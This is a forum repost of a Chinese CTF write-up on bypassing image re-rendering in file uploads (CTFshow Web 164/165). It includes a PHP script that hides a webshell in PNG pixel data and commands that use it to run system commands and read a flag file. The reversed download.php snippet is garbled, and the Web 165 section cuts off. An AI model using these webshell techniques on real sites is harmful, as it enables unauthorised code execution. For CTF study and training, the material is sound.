ToB企服应用市场:ToB评测及商务社交产业平台
标题:
基于CTFshow的文件上传二次渲染绕过与CTF实战
[打印本页]
作者:
用多少眼泪才能让你相信
时间:
2024-9-28 15:41
标题:
基于CTFshow的文件上传二次渲染绕过与CTF实战
1. 二次渲染简介
二次渲染指的是上传的文件(如图片),为了显示的更加规范(尺寸、像素),网站会对文件进行二次处理,经过解码或转换可能导致其中的恶意代码失效。例如,后门程序在图像渲染过程中可能被扫除或无法实行。
2. 二次渲染存在性判断
2.1 文件大小变化
访问上传的文件地点,重新下载下来,查看文件大小是否发生改变
2.2 图片数据包
将上传图片的发送包和访问文件地点的返回包发到burpsuite的compare模块,查看是否存在差别
3. png绕过二次渲染——Web 164
3.1 题目分析
尝试上传一张正常的图片,下载上传后的文件查看,发现本题对图片进行了二次渲染,写入的php代码轻易损坏。
随意写入一些内容,上传失败显示文件范例不合规。本题在在文件上传时进行了CRC(循环冗余校验)以确保文件未被窜改。我们在PNG文件中添加了文字,导致文件布局被破坏,从而无法通过校验。因此我们插入php代码后,必须重新计算相应的crc值并修改才能通过校验
3.2 天生后门图片
因此推荐使用以下脚本直接直接对图片插入后门代码:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
复制代码
使用方法:
设置php环境变量,在该脚本文件夹下实行以下cmd命令
php 脚本名.php 要修改的图片名.png
复制代码
然后就会在当前文件夹天生一个1.png,包含的木马内容如下
[/code][size=5]3.3 后门代码利用[/size]
访问图片地点,利用如下的恶意代码将想要的内容输出到1.txt
[code]https://xxx/download.php?image=xxxxx&0=system
post:
1=ls > 1.txt
1=tac flag.php >1.txt
复制代码
访问https://xxx/1.txt,得到以下内容
3.4 为什么图片解析php
在本题中,我通过向图片传php恶意代码,竟然成功实行了,这是为什么呢?
我们tac一下download.php来看一下
} echo "图片错误";
}else{
include("./upload/".strrev($file));
header('Content-Type:image/png');
if($ext==='.png' && file_exists("./upload/".strrev($file))){
$ext = strrev(substr($file, 0,4));
$file = strrev($file);
$file= $_GET['image'];
复制代码
代码的逻辑总结:
从 URL 获取文件名
:通过 $_GET['image'] 获取传递的文件名。
处理文件名
:通过 strrev() 反转文件名来获取实际的文件,并通过 substr() 获取文件的扩展名。
检查文件是否存在且为 PNG 格式
:判断扩展名是否为 .png,以及文件是否存在于 ./upload/ 目次。
输出图片文件
:假如条件满足,
包含
并输出这个文件,并将响应头设为 image/png 以显示 PNG 图片。
这下明白了,本题查看图片的功能是通过文件包含的形式实现的,传入图片的代码被包含到了download.php,从而成功被实行
4. jpg绕过二次渲染——Web 165
4.1 天生后门图片
利用以下脚本天生,需要留意的是:是先上传原图,把二次渲染后的图片进行脚本加工
[code]
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4